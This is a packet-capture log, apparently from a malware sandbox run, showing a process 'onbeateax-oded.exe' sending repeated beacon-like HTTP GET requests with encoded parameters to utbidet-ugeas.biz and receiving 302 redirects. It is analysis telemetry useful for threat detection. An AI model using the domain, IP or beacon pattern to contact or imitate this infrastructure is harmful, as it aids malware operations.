Sep 7, 2024 15:29:17.283945084 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:29:17 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0252B80FE152B80FE163B823E152B8AD7B909E93E753B8CF4950BF39CF609636D3628821E1 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49706	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:29:19.366875887 CEST	169	OUT	GET /d/N?02B2732C35B2732C3583730035B2738EAF7055B033B373EC9DB0741A1B805D150782430235 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:29:19.848172903 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:29:19 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02B2732C35B2732C3583730035B2738EAF7055B033B373EC9DB0741A1B805D150782430235 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49707	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:29:19.860907078 CEST	201	OUT	GET /d/N?02B2732C35B2732C3583730035B2738EAF7055B033B373EC9DB0741A1B805D150782430235 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:29:20.353956938 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:29:20 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02B2732C35B2732C3583730035B2738EAF7055B033B373EC9DB0741A1B805D150782430235 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49709	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:29:21.009190083 CEST	169	OUT	GET /d/N?027A09BD9E7A09BD9E4B09919E7A091F04B82F21987B097D36780E8BB0482784AC4A39939E HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:29:21.510165930 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:29:21 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?027A09BD9E7A09BD9E4B09919E7A091F04B82F21987B097D36780E8BB0482784AC4A39939E Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49710	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:29:21.518992901 CEST	201	OUT	GET /d/N?027A09BD9E7A09BD9E4B09919E7A091F04B82F21987B097D36780E8BB0482784AC4A39939E HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:29:22.031805038 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:29:21 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?027A09BD9E7A09BD9E4B09919E7A091F04B82F21987B097D36780E8BB0482784AC4A39939E Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49716	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:29:23.848310947 CEST	169	OUT	GET /d/N?020F7B06800F7B06803E7B2A800F7BA41ACD5D9A860E7BC6280D7C30AE3D553FB23F4B2880 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:29:24.340404034 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:29:24 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?020F7B06800F7B06803E7B2A800F7BA41ACD5D9A860E7BC6280D7C30AE3D553FB23F4B2880 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49718	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:29:24.352550030 CEST	201	OUT	GET /d/N?020F7B06800F7B06803E7B2A800F7BA41ACD5D9A860E7BC6280D7C30AE3D553FB23F4B2880 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:29:24.844625950 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:29:24 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?020F7B06800F7B06803E7B2A800F7BA41ACD5D9A860E7BC6280D7C30AE3D553FB23F4B2880 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49720	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:29:25.895942926 CEST	169	OUT	GET /d/N?02C674C103C674C103F774ED03C674639904525D05C77401ABC473F72DF45AF831F644EF03 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:29:26.406750917 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:29:26 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02C674C103C674C103F774ED03C674639904525D05C77401ABC473F72DF45AF831F644EF03 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49721	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:29:26.418864965 CEST	201	OUT	GET /d/N?02C674C103C674C103F774ED03C674639904525D05C77401ABC473F72DF45AF831F644EF03 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:29:26.925523996 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:29:26 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02C674C103C674C103F774ED03C674639904525D05C77401ABC473F72DF45AF831F644EF03 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	49723	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:29:27.535636902 CEST	169	OUT	GET /d/N?0246D35DB846D35DB877D371B846D3FF2284F5C1BE47D39D1044D46B9674FD648A76E373B8 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:29:28.016305923 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:29:27 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0246D35DB846D35DB877D371B846D3FF2284F5C1BE47D39D1044D46B9674FD648A76E373B8 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	49724	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:29:28.029912949 CEST	201	OUT	GET /d/N?0246D35DB846D35DB877D371B846D3FF2284F5C1BE47D39D1044D46B9674FD648A76E373B8 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:29:28.510941982 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:29:28 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0246D35DB846D35DB877D371B846D3FF2284F5C1BE47D39D1044D46B9674FD648A76E373B8 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	49726	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:29:28.830207109 CEST	169	OUT	GET /d/N?02B266BAD2B266BAD2836696D2B2661848704026D4B3667A7AB0618CFC804883E0825694D2 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:29:29.331002951 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:29:29 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02B266BAD2B266BAD2836696D2B2661848704026D4B3667A7AB0618CFC804883E0825694D2 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	49727	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:29:29.336829901 CEST	201	OUT	GET /d/N?02B266BAD2B266BAD2836696D2B2661848704026D4B3667A7AB0618CFC804883E0825694D2 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:29:30.742450953 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:29:29 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02B266BAD2B266BAD2836696D2B2661848704026D4B3667A7AB0618CFC804883E0825694D2 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>
Sep 7, 2024 15:29:30.742638111 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:29:29 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02B266BAD2B266BAD2836696D2B2661848704026D4B3667A7AB0618CFC804883E0825694D2 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>
Sep 7, 2024 15:29:30.742841959 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:29:29 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02B266BAD2B266BAD2836696D2B2661848704026D4B3667A7AB0618CFC804883E0825694D2 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>
Sep 7, 2024 15:29:30.743143082 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:29:29 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02B266BAD2B266BAD2836696D2B2661848704026D4B3667A7AB0618CFC804883E0825694D2 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	49729	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:29:32.566922903 CEST	169	OUT	GET /d/N?0287C653F987C653F9B6C67FF987C6F16345E0CFFF86C6935185C165D7B5E86ACBB7F67DF9 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:29:33.051564932 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:29:32 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0287C653F987C653F9B6C67FF987C6F16345E0CFFF86C6935185C165D7B5E86ACBB7F67DF9 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	49730	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:29:33.062794924 CEST	201	OUT	GET /d/N?0287C653F987C653F9B6C67FF987C6F16345E0CFFF86C6935185C165D7B5E86ACBB7F67DF9 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
